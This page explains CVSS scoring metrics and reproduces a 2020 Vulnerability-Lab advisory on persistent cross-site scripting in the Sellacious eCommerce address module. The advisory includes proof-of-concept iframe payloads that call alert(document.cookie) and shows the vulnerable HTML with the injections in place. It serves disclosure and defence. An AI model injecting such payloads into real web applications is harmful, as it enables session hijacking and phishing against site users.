The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Sellacious eCommerce Shop Cross Site Scripting
Document Title:
===============
Sellacious eCommerce - Multiple Persistent Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2226
Release Date:
=============
2020-05-08
Vulnerability Laboratory ID (VL-ID):
====================================
2226
Common Vulnerability Scoring System:
====================================
4.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000 - 2.000
Product & Service Introduction:
===============================
Sellacious is a perfect solution for all your b2b needs, coded and built
to render all user groups, Be it Small, Medium or Enterprise.
Sellacious is fixed with all the features required for a b2b online
store making it a model b2b eCommerce software. Unlike other
solutions, requires extremely less plugins to make it a complete
solution which defines it as a fit Enterprise eCommerce Software.
Sellacious is designed to render the users an interface which supports
the running of your first Online store or Joomla Marketplace
under 2 minutes. Be it a store with just a fraction of products or with
thousands of variations, Sellacious - an extremely dependable
eCommerce marketplace software is delivered to handle them all with just
a few clicks.
(Copy of the Homepage:
https://www.sellacious.com/free-open-source-ecommerce-software )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the Sellacious eCommerce Shop CMS.
Vulnerability Disclosure Timeline:
==================================
2020-05-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Sellacious eCommerce Shop CMS (2020 Q1).
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.
The cross site web vulnerabilities are located in the all the adress
input fields of the `Manage Your Addresses` module.
Remote attackers are able to register a low privilege user account to
inject own malicious script code to the adress
information page. The execution of the script code occurs each time the
adress information is used in the web ui of
the ecommerce application. The request method to inject is POST and the
attack vector is persistent on the application-side.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Manage Your Addresses
Vulnerable Input(s):
[+] Full name
[+] First name
[+] Middle name
[+] Last name
[+] Company
[+] PO Box
[+] Address
[+] Landmark
Affected(s):
[+] index.php/manage-your-addresses
[+] Backend user adress information listing
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with user account and low user interaction.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.
PoC: Exploitation
<iframe src="evil.source" onload=alert(document.cookie)>
<iframe src="evil.source" onload=alert(document.domain)>
PoC: Vulnerable Source
<div class="addresses-container">
<div class="address-heading">
<h2>Your addresses
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="ctech-mb-3 btn-add-address ctech-float-right ctech-text-primary">
<i class="fa fa-plus"></i> <span class="add-address-text">Add New
Address</span></a></h2></div>
<div id="addresses" class="cart-aio ctech-text-center">
<div id="address-editor">
<ul id="address-items" data-original-title="" title=""> <li
class="address-item" id="address-item-9"> <div class="ctech-float-right
address-action">
<button type="button" class="ctech-btn ctech-btn-small ctech-btn-default
hasTooltip remove-address" data-placement="bottom" data-id="9" title=""
data-original-title="Delete"><i class="fa fa-trash-alt"></i></button> <a
href="#address-form-9" role="button" data-toggle="ctech-modal"
data-placement="bottom"
class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip" title=""
data-original-title="Edit"><i class="fa fa-edit"></i></a> </div>
<div class="address-content"> <span class="address_name">>"<iframe
src="evil.source"></span> <span class="address_company">>"<iframe
src="evil.source"></span>
<span class="address_po_box">PO #: >"<iframe src="evil.source"></span>
<span class="address_address has-comma">>"<iframe src="evil.source"></span>
<span class="address_landmark has-comma">>"<iframe
src="evil.source"></span> <span class="address_country">United
States</span>
<div class="cart_address_box w100p"> <div class="cart_address_buttons">
</div> </div> </div> </li> <li class="address-item odd-address-item">
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="btn-new-address"><i class="fa fa-plus"></i></a> </li>
</iframe></span></div></li></ul>
<div class="ctech-wrapper">
</div><div class="ctech-clearfix"></div>
</div><div class="ctech-clearfix"></div>
</div></div>
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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